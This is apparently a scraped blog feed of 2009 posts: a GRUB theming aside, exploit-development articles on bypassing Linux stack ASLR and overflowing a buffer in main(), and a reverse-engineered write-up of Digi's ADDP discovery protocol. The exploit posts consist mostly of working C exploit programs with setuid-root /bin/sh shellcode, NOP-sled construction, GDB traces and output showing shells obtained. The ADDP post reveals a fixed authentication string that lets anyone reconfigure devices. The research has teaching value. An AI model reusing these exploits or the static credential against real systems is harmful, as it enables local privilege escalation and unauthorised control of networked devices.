At one point I actually got a nice fading "highlight" going, though the nature of the background made this look nice for one option and awkward for others. So I stuck with an opaque highlight.<br />
<br />
To finish it off I customized the grub.cfg generation scripts and their configuration a bit, so grub and the kernel is "just right"... for the moment at least.<br />
<br />
The result is the following. Since it requires quite a bit of patching on the C source code, I'm going to skip explaining how I did it. If you want the patch, send me a message and I'll share it with you together with some explanations of the changes.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA1izM98vrOePwJlQRTYuz4PeLxLFEaX8mpPdX2K2XqNkYYxGX6b4ayThjlKElIpqNG1ab0d7JsLC9Fg3LOsJTNQCiXmY5hlqadIckqBTJIZc1UYjAYsMUhlMbMYct8mi2hHcdMHIvPEo/s1600-h/grub-shot.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5422287288907593970" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA1izM98vrOePwJlQRTYuz4PeLxLFEaX8mpPdX2K2XqNkYYxGX6b4ayThjlKElIpqNG1ab0d7JsLC9Fg3LOsJTNQCiXmY5hlqadIckqBTJIZc1UYjAYsMUhlMbMYct8mi2hHcdMHIvPEo/s400/grub-shot.png" style="cursor: hand; cursor: pointer; display: block; height: 271px; margin: 0px auto 10px; text-align: center; width: 400px;" /></a>Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-61292690152989663112009-12-13T16:36:00.000+02:002017-12-03T11:50:41.951+02:00Beating Linux ASLR with Environment VariablesI've been experimenting with ASLR some more, and discovered a very interesting side effect from the way Linux environment variables are made accessible to executable programs. Environment variables are always put at the end of the stack. So, since the stack is always aligned at "fff" for the last 12 bits, it means that in a static environment, the same variable will always have it's last 12 bits static. Further, the first 8 bits is also static, so this means for a static environment, there is only 32 - 12 - 8 bits of randomization, in other words only 12 bits of randomization.<br /><br />Using this fact, you can load your shellcode into an environment variable. Make a small program to determine it's first 8 and last 12 bits, and pick a random value for it's middle 12 bits. You then use this as your return address, which would be the only value repeated throughout the exploit payload. Running this a few times you're bound to hit your shellcode in a very short period. I tried it a few times, and it was under 10 seconds every time.<br /><br />To further decrease the random bits you can make an extremely large NOP sled. For 12 bits, you have 2^12 possible values, of which only 1 will be a hit. If you make your NOP sled 4096 bytes, then you increase the amount of hits to 2. To explain this, assume you're environment variable is at address: 0xbf010b3c. If your NOP sled was 4096 bytes, this means your environment variable will stretch from 0xbf010b3c to 0xbf011b3c. So with the 12 bits of randomization 2 possible values will hit your sled. <br /><br />I've found that I can get a variable up to 4096*32 bytes. With these large values it becomes unnecessary to even know the last 12 bits, because any value in these 12 bits will fall in the NOP sled, as long as the first 20 bits do.<br /><br />So to try this all out, I made a program which builds an environment using a full 128kbs. I found the maximum environment variable to be exactly 32 * 4096 + 1 bytes. The extra byte I assume is for the equal sign. So if you simply fill the complete environment with 128kb of shellcode, you can get maximum possible effect. If you use multiple such variables I've also found that you can get at most 16 of them before execve() stops executing the program. This seems to be a 2MB environment limit.<br /><br />I made the following vulnerable program:<pre>// build with: gcc -fno-stack-protector -o vuln vuln.c<br />#include <stdio.h><br />#include <string.h><br /><br />void func(char *argv[])<br />{<br /> char buf[100];<br /> fprintf(stderr, "a: %p\n", getenv("a"));<br /> strcpy(buf, argv[1]);<br />}<br /><br />int main(int argc, char *argv[])<br />{<br /> func(argv);<br />}</pre><br />And then the following program to exploit it: <pre>#include <stdio.h><br />#include <string.h><br />#include <stdlib.h><br /><br />char shellcode[]=<br /> // setuid(0) + exec(/bin/sh)<br /> "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"<br /> "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"<br /> "\xe1\xcd\x80" // 35 bytes<br /> ;<br /><br />#define ESIZE (32 * 4096 - sizeof(shellcode))<br /><br />int main(int argc, char **argv)<br />{<br /> char buf[200];<br /> int i;<br /> char *envptr = (char*)malloc(ESIZE);<br /> char *args[] = {"./vuln", buf, 0};<br /> char *env[] = {envptr, 0};<br /><br /> // here we just pick any 0xbf... address. Running it once you'll see <br /> // the vulnerable program print an address, using the first 8 and<br /> // last 12 bits from this address is a good idea.<br /> long envaddr = 0xbfcccfca;<br /><br /> fprintf(stderr, "T: %p\n", envaddr);<br /><br /> // build the return address buf<br /> for (i = 0; i < 200; i += 4)<br /> {<br /> *((long*)&buf[i]) = envaddr;<br /> }<br /><br /> // create the environment<br /> memset(envptr, 0x90, ESIZE);<br /> memcpy(envptr + ESIZE, shellcode, sizeof(shellcode));<br /><br /> // so we can print the addr in the vulnerable program we give it a name<br /> memcpy(envptr, "a=", 2);<br /><br /> execve(args[0], args, env);<br />}</pre><br />It basically builds a buffer with a selected return address. This is just any<br />address. As long as the first 8 bits are 0xbf you should get a hit pretty quickly.<br /><br />It then builds an environment which consists of a very large NOP sled and the 35 byte shellcode, and executes the program.<br /><br />I ran this in a bash loop (while true; do ./bigenvsploit; done) and got a successful exploitation in 50 executions! Then I quit the shell and got another hit in 12 executions! <br /><br />I made another one which uses 16 environment variables with the same values but different names. In the process I discovered a stack overflow in GLIBC (gonna be a nice one!). With this version of the exploit I get a hit in less than 5 iterations... usually on the FIRST execution! <pre>$ quintin@quintin-laptop bigenv $ ./bigenvsploit <br />T: 0xbfcccff5<br />a: 0xbfcb7fca<br />$ exit<br />quintin@quintin-laptop bigenv $ ./bigenvsploit <br />T: 0xbfcccff5<br />a: 0xbf9b3fca<br />Segmentation fault<br />quintin@quintin-laptop bigenv $ ./bigenvsploit <br />T: 0xbfcccff5<br />a: 0xbf8edfca<br />Segmentation fault <br />quintin@quintin-laptop bigenv $ ./bigenvsploit <br />T: 0xbfcccff5<br />a: 0xbfb51fca<br />$ exit <br />quintin@quintin-laptop bigenv $ ./bigenvsploit <br />T: 0xbfcccff5<br />a: 0xbf7d1fca<br />$ exit <br />quintin@quintin-laptop bigenv $ ./bigenvsploit <br />T: 0xbfcccff5<br />a: 0xbfa32fca<br />$ exit<br /></pre><br /><br />Brilliant!<br /><br />For your pleasure, here it is:<pre>#include <stdio.h><br />#include <string.h><br />#include <stdlib.h><br /><br />char shellcode[]=<br /> // setuid(0) + exec(/bin/sh)<br /> "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"<br /> "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"<br /> "\xe1\xcd\x80" // 35 bytes<br /> ;<br /><br />#define ESIZE (32 * 4096 - sizeof(shellcode))<br /><br />int main(int argc, char **argv)<br />{<br /> char buf[200];<br /> int i, en;<br /> char *args[] = {"./vuln", buf, 0};<br /> char **env = (char**)calloc(sizeof(char*), 17);<br /><br /> // here we just pick any address. Running it once you'll see the vulnerable<br /> // program print an address. we pick the last 12 bits a bit lower, so to<br /> // further increase hit probability (had the random addr fallen on our edge)<br /> long envaddr = 0xbfcccff5;<br /><br /> fprintf(stderr, "T: %p\n", envaddr);<br /><br /> // build the return address buf<br /> for (i = 0; i < 200; i += 4)<br /> {<br /> *((long*)&buf[i]) = envaddr;<br /> }<br /> <br /> // create the environment<br /> for (en = 0; en < 16; ++en)<br /> {<br /> char *envptr = (char*)malloc(ESIZE);<br /><br /> memset(envptr, 0x90, ESIZE);<br /> memcpy(envptr + ESIZE - sizeof(shellcode), shellcode, sizeof(shellcode));<br /><br /> envptr[0] = 'a' + en;<br /> envptr[1] = '=';<br /><br /> // so we can print the addr in the vulnerable program we give it a name<br /> env[en] = envptr;<br /> }<br /> env[en] = 0;<br /><br /> execve(args[0], args, env);<br />}</pre>Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-84491896329320446622009-12-13T11:35:00.000+02:002017-12-03T11:50:35.093+02:00Exploiting a Buffer Overflow in main()A buffer overflow in main() is very hard to imagine. I've never seen one myself, since main usually delegates to other parts of a system very early on. Though, I noticed yesterday that GCC sets up the main() function a bit differently than others.<br />
<br />
Take the following empty program as an example:<br />
<pre>int func()
{
}
int main()
{
}</pre>
<br />
When compiling this without stack protection gives the following: <br />
<pre>08048344 <func>:
8048344: 55 push ebp
8048345: 89 e5 mov ebp,esp
8048347: 5d pop ebp
8048348: c3 ret
08048349 <main>:
8048349: 8d 4c 24 04 lea ecx,[esp+0x4]
804834d: 83 e4 f0 and esp,0xfffffff0
8048350: ff 71 fc push DWORD PTR [ecx-0x4]
8048353: 55 push ebp
8048354: 89 e5 mov ebp,esp
8048356: 51 push ecx
8048357: 59 pop ecx
8048358: 5d pop ebp
8048359: 8d 61 fc lea esp,[ecx-0x4]
804835c: c3 ret
804835d: 90 nop
804835e: 90 nop
804835f: 90 nop </pre>
<br />
A normal function, in it's prologue, stores any previous "ebp" on the stack, and loads the new stack pointer (esp) into ebp. From here it will use "ebp" to do any stack calculations for local variables/arguments. Then before returning it will restore the previous ebp, and return. This means, the last 8 bytes on the stack will be [ebp:4][eip:4]. When the function returns the caller's "ebp" is popped, and the "ret" instruction will pop the new "eip" and continue execution.<br />
<br />
The main function on the other hand (I keep wanting to say "method" instead of "function" - I'm Java brainwashed) does it a bit differently. First it loads the address of "esp + 4" into ecx. This will be the "int argc" argument. Then it ensures the stack is at a 16 byte block and pushes the original return address into the new stack location. They have to do this, otherwise main won't be able to return (unless esp's last 4 bits were already 0000b). "main" returns to a function called __libc_start_main, which is one of the many bootstrapping functions GCC puts into it's resulting binaries.<br />
<br />
After this it's the normal ebp/esp business, and some preparation for the arguments like saving the value of ecx, since future functions might want to use it. In the example above, 0x8048358 is where the epilogue starts. This restores the value of ecx and ebp, and then the big business that makes exploiting a main method different. It changes the stack pointer (esp), to what it was before entry into main, and only then it returns. This means the resulting value of "esp" should point to the new return address, which would probably be another stack address, filled with a payload.<br />
<br />
Usually when you exploit a buffer overflow, you have a NOP sled, the shellcode and then a sequence of return addresses. Had you done this in a main function you will end up with having esp having the value of the return address, and then the ret instruction trying to jump to 0x90909090. This won't work for obvious reasons. You would need to be very precise in setting up this buffer. First you would have to supply an address, which would get loaded into "ecx". The value of this address needs to be 4 bytes greater, than where the real return address is on the stack. <br />
<br />
These values will all be based around offsets from the return address. There are a few address padding techniques I've come up with to help increase the hit probability. They're all pretty much similar, having sequences of 2 address placed in different places. To keep this short, I'll explain the simplest of them all.<br />
<br />
The easiest can be used when you have a very large buffer. Assume the variable RET is our return address. You could then override the end of the buffer with this address as usual, but instead of a NOP sled, you can first write X instances of RET + X * 4, and then have the NOP sled follow. <br />
<br />
To demonstrate this I created a PoC. This program has a 1000 byte buffer in main(), and then sets up an exploit to spawn a shell and copies this into the buffer. So it exploits itself (wouldn't that be a dream - save the hackers some time and write the exploit before you ship your software). <br />
<pre>#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BUFSIZE 1000
#define PAYLOADSIZE (BUFSIZE * 2)
#define SLEDSIZE 100
#define RETADDR_CNT 20
char shellcode[]=
// setuid(0) + exec(/bin/sh)
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80" // 35 bytes
;
void *alignaddr(void *ptr)
{
while ((long)ptr % 4) ++ptr;
return ptr;
}
void *setupExploit(void *bufaddr)
{
long sled_addr, stack_addr;
char *expldata = (char*)malloc(PAYLOADSIZE * sizeof(char));
char *ptr = expldata;
int i;
if (ptr == NULL)
{
error(1, 0, "Failed to prepare payload");
}
ptr = alignaddr(ptr);
// this is the address that will go into "ecx", and have 4 deducted
// from it to get the new stack frame address
stack_addr = (long)bufaddr + 4;
// this is the address where the NOP sled and shellcode will be
sled_addr = (long)bufaddr + 4 * RETADDR_CNT;
printf("Buf Addr: %p\n", bufaddr);
printf("SLED Addr: %p\n", sled_addr);
printf("Stack Addr: %p\n", stack_addr);
// write the sled address to the beginning of the buffer
for (i = 0; i < RETADDR_CNT; ++i)
{
*((long*)ptr) = sled_addr;
ptr += 4;
}
// follow with a NOP sled
for (i = 0; i < SLEDSIZE; ++i)
{
*ptr++ = 0x90;
}
// add the shellcode
memcpy(ptr, shellcode, sizeof(shellcode));
ptr += sizeof(shellcode);
// align the address
ptr = alignaddr(ptr);
// and fill the remaining with the stack address
while (ptr < expldata + PAYLOADSIZE)
{
*((long*)ptr) = stack_addr;
ptr += 4;
}
return expldata;
}
int main(int argc, char **argv)
{
char buf[BUFSIZE];
char *expl;
expl = setupExploit(buf);
memcpy(buf, expl, PAYLOADSIZE);
}</pre>
<br />
Building and running this you will see something like:<br />
<pre>quintin@quintin-laptop mainexpl $ gcc -fno-stack-protector -o mainexpl mainexpl.c
quintin@quintin-laptop mainexpl $ sudo chown root:root mainexpl
quintin@quintin-laptop mainexpl $ sudo chmod u+s mainexpl
quintin@quintin-laptop mainexpl $ ./mainexpl
Buf Addr: 0xbf9a48b8
SLED Addr: 0xbf9a4908
Stack Addr: 0xbf9a48bc
# id
uid=0(root) gid=1002(quintin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev),117(powerdev),124(sambashare),1002(quintin)
# </pre>
<br />
* To demonstrate this the program is built with stack protection turned off. This is the "-fno-stack-protector" argument given to gcc. <br />
<br />
Taking into account the explanations from before, 0xbf9a48b8 is the address where our payload will go, 0xbf9a4908 is the actual address of where the NOP sled and shellcode will go and finally 0xbf9a48bc is where we need to store the SLED address, since this address will be put into ecx in the main() epilogue.<br />
<br />
In a bit more detail, let's run it through GDB. The disassembled main() function:<br />
<pre>0804854b <main>:
804854b: 8d 4c 24 04 lea ecx,[esp+0x4]
804854f: 83 e4 f0 and esp,0xfffffff0
8048552: ff 71 fc push DWORD PTR [ecx-0x4]
8048555: 55 push ebp
8048556: 89 e5 mov ebp,esp
8048558: 51 push ecx
8048559: 81 ec 04 04 00 00 sub esp,0x404
804855f: 8d 85 10 fc ff ff lea eax,[ebp-0x3f0]
8048565: 89 04 24 mov DWORD PTR [esp],eax
8048568: e8 bf fe ff ff call 804842c <setupExploit>
804856d: 89 45 f8 mov DWORD PTR [ebp-0x8],eax
8048570: c7 44 24 08 d0 07 00 mov DWORD PTR [esp+0x8],0x7d0
8048577: 00
8048578: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
804857b: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804857f: 8d 85 10 fc ff ff lea eax,[ebp-0x3f0]
8048585: 89 04 24 mov DWORD PTR [esp],eax
8048588: e8 b7 fd ff ff call 8048344 <memcpy@plt>
804858d: 81 c4 04 04 00 00 add esp,0x404
8048593: 59 pop ecx
8048594: 5d pop ebp
8048595: 8d 61 fc lea esp,[ecx-0x4]
8048598: c3 ret </pre>
<br />
We'll put a breakpoint at the start of the epilogue (the pop ecx), ie. 0x8048593. <br />
<pre>quintin@quintin-laptop mainexpl $ gdb ./mainexpl
GNU gdb 6.8-debian
(gdb) break *0x8048593
Breakpoint 1 at 0x8048593
(gdb) run
Starting program: /home/quintin/tmp/notesearch/mainexpl
Buf Addr: 0xbf9a48b8
SLED Addr: 0xbf9a4908
Stack Addr: 0xbf9a48bc
Breakpoint 1, 0x08048593 in main ()
Current language: auto; currently asm
(gdb) i r ecx esp
ecx 0x0 0
esp 0xbf9a4ca4 0xbf9a4ca4
(gdb) x/8xw $esp
0xbf9a4ca4: 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc
0xbf9a4cb4: 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc
(gdb) </pre>
<br />
As you can see the value of ecx is 0, and our new stack address is all over the current stack. Let's step the "pop ecx" instruction and see what we have then. <br />
<pre>(gdb) stepi
0x08048594 in main ()
(gdb) i r ecx esp
ecx 0xbf9a48bc -1080407876
esp 0xbf9a4ca8 0xbf9a4ca8
(gdb) </pre>
<br />
We don't care for ebp, so let's see what happens when we load the new stack address, 2 instructions onwards. <br />
<pre>(gdb) stepi
0x08048595 in main ()
(gdb) stepi
0x08048598 in main ()
(gdb) i r ecx esp
ecx 0xbf9a48bc -1080407876
esp 0xbf9a48b8 0xbf9a48b8
(gdb) x/4xw $esp
0xbf9a48b8: 0xbf9a4908 0xbf9a4908 0xbf9a4908 0xbf9a4908
(gdb) </pre>
<br />
So the stack frame was changed to where we put our return addresses. The next instruction to be executed is "ret", which would change the eip register to 0xbf9a4908, which is where our NOP sled and shellcode is, as can be seen with:<br />
<pre>(gdb) x/10i 0xbf9a4908
0xbf9a4908: nop
0xbf9a4909: nop
0xbf9a490a: nop
0xbf9a490b: nop
0xbf9a490c: nop
0xbf9a490d: nop
0xbf9a490e: nop
0xbf9a490f: nop
0xbf9a4910: nop
0xbf9a4911: nop
(gdb) x/20i 0xbf9a4908+97
0xbf9a4969: nop
0xbf9a496a: nop
0xbf9a496b: nop
0xbf9a496c: xor eax,eax
0xbf9a496e: xor ebx,ebx
0xbf9a4970: xor ecx,ecx
0xbf9a4972: cdq
0xbf9a4973: mov al,0xa4
0xbf9a4975: int 0x80
0xbf9a4977: push 0xb
0xbf9a4979: pop eax
0xbf9a497a: push ecx
0xbf9a497b: push 0x68732f2f
0xbf9a4980: push 0x6e69622f
0xbf9a4985: mov ebx,esp
0xbf9a4987: push ecx
0xbf9a4988: mov edx,esp
0xbf9a498a: push ebx
0xbf9a498b: mov ecx,esp
0xbf9a498d: int 0x80
(gdb) </pre>
<br />
The next step will be to execute the "ret", and start executing the shellcode:<br />
<pre>(gdb) continue
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$ </pre>
<br />
<br />
And that's one way of exploiting a stack overflow in main(). If you had a small buffer, high precision is needed, but you could put the return address 2 words after the new stack address. Or you could put the shellcode somewhere else and use this buffer purely for addressing. Many things are possible, and every scenario is unique.Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-7283035007856171662009-12-12T17:51:00.000+02:002017-12-03T11:50:41.955+02:00Beating Linux ASLR for Local ExploitsStack address randomization definitely helps to prevent exploitation of stack based exploits, since it becomes almost impossible to correctly guess the address to return to for executing your code, and brute force guessing this can be time consuming and/or alert a NIDS.<div><br /></div><div>I did, however, notice something interesting about it today while analyzing some of GCC's optimization techniques.</div><div><br /></div><div>I've never analyzed ASLR itself. I've just noticed the stack base address being random on every execution of a program. This can be turned off by running your command with "setarch" or using the "personality" function. This is only really useful for debugging purposes as far as I can see. The point I'm trying to make is that this is in now way an in depth analysis of ASLR and that I could be wrong in some of my assumptions.</div><div><br /></div><div>I'm not sure if ASLR reseeds it's generator. If it does it seems like a globally shared seed is used. At least in a process tree with some chosen parent or something. I'm basing these guesses on the fact that spawning a new process using the execv() system call, very quickly after the parent process started, the stack bases will be the same.</div><div><br /></div><div>Take this example:<pre>#include <stdio.h><br /><br />int main(int argc, char **argv)<br />{<br /> int i;<br /> char *arg[] = {argv[0], argv[0], 0};<br /> if (argc < 2)<br /> {<br /> printf("parent addr i: %p\n", &i);<br /> //sleep(1);<br /> execv(argv[0], arg);<br /> }<br /> else<br /> {<br /> printf("child addr i: %p\n", &i);<br /> }<br />}<br /></pre></div><div><br /></div><div>With this, the address of "i" is printed, then a child process is spawned which will also print the address of the same variable in it's stack.</div><div><br /></div><div>Running this you'll notice that the addresses are very close or match most of the time. I figure if it spawns quickly enough after the first process, the seed for the new process is the same and thus they'll generate the same random number for the stack base. Try uncommenting the "sleep(1)" call and running it again. The stack doesn't match anymore (if it does it's a very rare/lucky case).</div><div><br /></div><div>I also noticed that even when the bases don't match, they are sometimes very close to each other, usually exactly 0x10 bytes. This might have been a coincidence, but in these cases the child process was always 0x10 bytes lower than the parent process. (UPDATE: The 0x10 bytes was unique to this case. Further I've found that the generator used for ASLR uses the PID of the process (added to the jiffies) to generate the random number, which explains why they end up "close")</div><div><br /></div><div>These 2 facts can be used in local exploits. If you can quickly enough setup the exploit and spawn the vulnerable program, you should be able to reliably guess the return address using the information from the parent process, and with a NOP slide of at least 0x10 bytes, both facts can be accounted for.</div><div><br /></div><div><b>Proof of Concept</b></div><div><br />I created a proof of concept, which consists of a program with a buffer overflow vulnerability, and an exploit that makes use of this execv() weakness to circumvent ASLR protection. <a href="http://sites.google.com/site/qbeukesblog/aslr-poc.tar.bz2">Download Proof of Concept</a>.</div><div><br /></div><div>Read the README file, and run demo.sh. Further, an example of what you might expect is in the SAMPLE file, included in the tarball. When extracted all files will be found in the "aslr-poc" directory.</div>Anonymoushttp://www.blogger.com/profile/17358536805065354053noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-43793145645432940722009-11-21T21:57:00.003+02:002017-12-03T16:22:16.672+02:00Advanced Digi Discovery Protocol ExplainedThis is a continuation of <a href="http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol.html">my previous post</a>.<br />
<br />
<div>
If you haven't read the previous post I recommend you do so first, but to summarize. ADDP, or Advanced Digi Discovery Protocol is a UDP multicast protocol used for discovering and reconfiguring network settings of Digi devices (such as the Digi Connect ME) on the local network, irrelevant of their network configuration. </div>
<br />
<div>
I've basically completed my documentation and implementation of ADDP, though like software usually is, it will never be truly complete, and the documentation of the protocol is still missing a few fields and codes. It's definitely complete enough to release so people can implement the protocol themselves.<br />
<br />
<div>
The implementation I made is a cross platform Java version of their "Digi Device Discovery" tool from Digi International Inc. It's called JDigiDiscover and lists all Digi devices on the network (which have ADDP activated) with detailed public configuration for them, and then allows you to either restart the device or change it's network configuration. You can see some screenshots and/or download it from it's <a href="http://www.sourceforge.net/projects/jdigidiscover">SourceForge.net project page</a>. It's released under the <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License 2.0</a>.</div>
<br />
<br />
<div>
ADDP is a proprietary protocol developed by and it's copyright owned by Digi International Inc. Use of the protocol is limited to their products and their terms. I released this purely because I noticed a need for implementing it in your own non C and non Windows applications for managing your own Digi devices. For more information see http://www.digi.com/.</div>
<div>
<br /></div>
<div>
<div>
<b><span class="Apple-style-span" style="font-size: large;">ADDP</span></b></div>
<div>
<b><span class="Apple-style-span">Summary</span></b></div>
<div>
The ADDP protocol is a UDP multicast protocol, doing broadcasts on 224.0.5.128 port 2362. This is the default configuration, though it is possible to disable this for a given Digi device, or change the port.</div>
<div>
<br /></div>
<div>
All communications are in the form of request/response, and there exists 4 communication types which give a total of 8 packets. They are Discovery, Static Configuration, DHCP Network Configuration and Restart.</div>
<div>
<br /></div>
<div>
All packets consists of a header and a payload. The header format is common throughout all packet types, where the payload is common on response packets but unique for each request packet type.</div>
<div>
<br /></div>
<div>
<b>The Header</b></div>
<div>
The header starts with the magic bytes "DIGI", ie. 0x44,49,47,49. This is followed by a 2 byte packet type identifier (see the tables at the end of this document). After the identifier is a 2 byte short, which indicates the length/size of the payload.</div>
<div>
<br /></div>
<div>
<b>The Payload</b></div>
<div>
As explain, the payloads of all request packets are unique to the type of packet, where the response packets have a common format. Response packets contain information pertaining to the request. This information is given in a variable amount of fields, each field being identified by a 1 byte identifier. These identifiers are shared across all response packets, each response sending only the information relevant to the request.</div>
<div>
<br /></div>
<div>
So a field takes the form of a 1 byte field type ID (see the tables at the end of this document), then a 1 byte field length followed the the field's data. The field length byte indicates how many data bytes need to be read. This will always be at least one. Take for example the IP address field. It's type id is 0x02, and being an IP address it will be 4 bytes long. If the IP address was 10.0.0.5, then the field would have the following value: 0x02,04,0a,00,00,05. Response packets always have the MAC address field set, and is the MAC address of the device the packet originated from. You use this to pair responses with requests.</div>
<div>
<br /></div>
<div>
When a request packet had an invalid format, even though the MAC address was valid an it's obvious the packet was meant for a given device, it will be ignored and no response packet will be sent. Response packets are only sent when the request packet had a 100% valid structure. Failure responses are sent only for failure after the packet was parsed successfully.</div>
<div>
<br /></div>
<div>
So to parse the payload, you just read the fields in a serial manner until the complete payload has been consumed. Not all responses of the same type will always have the same fields. So it's important to read the payload based on the size specified in the header. Further, depending on the field type, an absent field could mean that it's the default value or irrelevant to the type of packet. For example, in the restart response packet the IP address field won't be set, where the absense of the RealPort number field in a discovery response could indicate it's disabled.</div>
<div>
<br /></div>
<div>
When transferring MAC addresses or IP addresses, they are sent as the raw binary values. Since each component of both a MAC address and IP address is a number in the range 0-255 they are each represented as a byte. This is actually what a MAC address and IP address is. Even though we write an IP address as: 10.0.0.9, it's actually a 4 byte values of: 0x0a,00,00,09. Same goes for a MAC address, which is written as comma separated hexadecimal bytes. When transferred, the host byte order is used, so you read the IP address in the byte order it appears in the packet (which is the same as the example just given).</div>
<div>
<br /></div>
<div>
Numbers are always either 1, 2 or 4 bytes. For 1 byte you just take the integer value of the byte, and for 2 or 4 byte you interpret it with Little Endian. The 2 byte shorts can be calculated with: "((b[0] & 0xff) <<><br />
<div>
<br /></div>
<div>
Strings are never sent in request packets, though received in a number of response packet fields. The length of the string would be the field size, and it has no terminator. So to read the string value simply copy all of the field data into a character array/string. Characters are always 1 byte ASCII.</div>
<div>
<br /></div>
<div>
<b>Request Packet Authentication</b></div>
<div>
The Configuration and Restart request packets require authentication and a target. This is the last 11 bytes of each of these packets. The target is a 6 byte MAC address, and is the MAC address of the target Digi unit.</div>
<div>
<br /></div>
<div>
The authentication data seems to always be static byte sequence: 0x04,64,62,70,73. This is a 1 byte length with the value of "4", and the character sequence "dbps" (which is also the Digi Connect ME default root password). Even when changing your device's root password, this will remain the same. It's definitely used for authentication, as sending different values will result in an "authentication error" response.</div>
<div>
<br /></div>
<div>
<b>Discovery/Information Request</b></div>
<div>
The Discovery request packet is the simplest of all of them. It has the packet type 0x0001 and a 6 byte payload which is a MAC address. The MAC address in the payload is for the device which you request information from. So only the device whose MAC address matches the one in the packet will respond to this request. If you want all devices to respond, use the broadcast MAC address ff:ff:ff:ff:ff:ff. </div>
<div>
<br /></div>
<div>
This sample Discovery Request packet will request responses from all DIGIs on the network which has ADDP activated on port 2362. To request information from Digis listening on a different ADDP port, change the destination port of the UDP packet.</div>
<div>
<br /></div>
<div>
Data (14 bytes):</div>
<pre>0000 44 49 47 49 00 01 00 06 ff ff ff ff ff ff DIGI..........</pre>
<div>
<br /></div>
<div>
Breaks down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 01 .. - Packet type (0001)
00 06 .. - Payload size (6 bytes)
ff ff ff ff ff ff ...... - Target MAC</pre>
<div>
<br /></div>
<div>
<b>Discovery/Information Response</b></div>
<div>
If a Digi unit receives the discovery request packet and it's meant for either all Digis or itself (based on the request packet's target MAC address as described above), it will respond with a response packet containing details of it's configuration, such as IP address, subnet mask, number of serial ports, etc.</div>
<div>
<br /></div>
<div>
This packet has the id 0x0002 and is probably the largest of all the packets. See the tables at the end of this e-mail for all possible fields. The following example is a typical packet you might receive in response to a discovery request.</div>
<div>
<br /></div>
<div>
Data (104 bytes):</div>
<pre>0000 44 49 47 49 00 02 00 60 01 06 00 40 9d 31 a9 0a DIGI...`...@.1..
0010 02 04 0a 00 00 e7 03 04 ff ff ff 00 0b 04 0a 00 ................
0020 00 01 0d 0f 44 69 67 69 20 43 6f 6e 6e 65 63 74 ....Digi Connect
0030 20 4d 45 10 01 00 07 01 00 08 1e 56 65 72 73 69 ME........Versi
0040 6f 6e 20 38 32 30 30 30 38 35 36 5f 46 36 20 30 on 82000856_F6 0
0050 37 2f 32 31 2f 32 30 30 36 0e 04 00 00 03 03 13 7/21/2006.......
0060 04 00 00 04 03 12 01 01 ........</pre>
<div>
<br /></div>
<div>
Breaks down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 02 .. - Packet type (0002)
00 60 .` - Payload size (96 bytes)
01 06 00 40 9d 31 a9 0a ...@.1.. - Mac address: 00:40:9D:31:A9:0A
02 04 0a 00 00 e7 ...... - IP Address: 10.0.0.231
03 04 ff ff ff 00 ...... - Subnet Mask: 255.255.255.0
0b 04 0a 00 00 01 ...... - Gateway Address: 10.0.0.1
0d
0f 44 69 67 69 20 43 6f .Digi Co
6e 6e 65 63 74 20 4d 45 nnect ME - Device Name: Digi Connect ME
10 01 00 ... - DHCP Disabled
07 01 00 ... - Unknown - never seen a non-0x00 value.
08 1e 56 65 72 73 69 6f ..Versio
6e 20 38 32 30 30 30 38 n 820008
35 36 5f 46 36 20 30 37 56_F6 07
2f 32 31 2f 32 30 30 36 /21/2006 - Firmware: Version 82000856_F6 07/21/2006
0e 04 00 00 03 03 ...... - Real Port: 771
13 04 00 00 04 03 ...... - Encrypted Real Port: 1027
12 01 01 . - Serial port count: 1</pre>
<div>
<br /></div>
<div>
<b>Static Network Configuration Request Packet</b></div>
<div>
The Static Configuration Request packets have the packet type of 0x0003 and are used to reconfigure the network settings of the Digi unit. This consists of 3 values to be set: IP address, subnet mask and default gateway.</div>
<div>
<br /></div>
<div>
The 3 values are added in the mentioned order to the beginning of the payload. This gives a 12 byte sequence, which is then followed the MAC address of the device to be configured and the authentication data. This results in a total payload size of 23 bytes, which is a 31 byte packet.</div>
<div>
<br /></div>
<div>
The following sample would be to reconfigure the device with MAC address '00:40:9D:31:A9:0A', giving it the IP address: 10.0.0.9, subnet mask: 255.255.255.0 and gateway: 10.0.0.1. Since these fields are static and always in this order, to remove the gateway you would send a gateway value of 0.0.0.0. </div>
<div>
<br /></div>
<div>
Data (31 bytes):</div>
<pre>0000 44 49 47 49 00 03 00 17 0a 00 00 09 ff ff ff 00 DIGI............
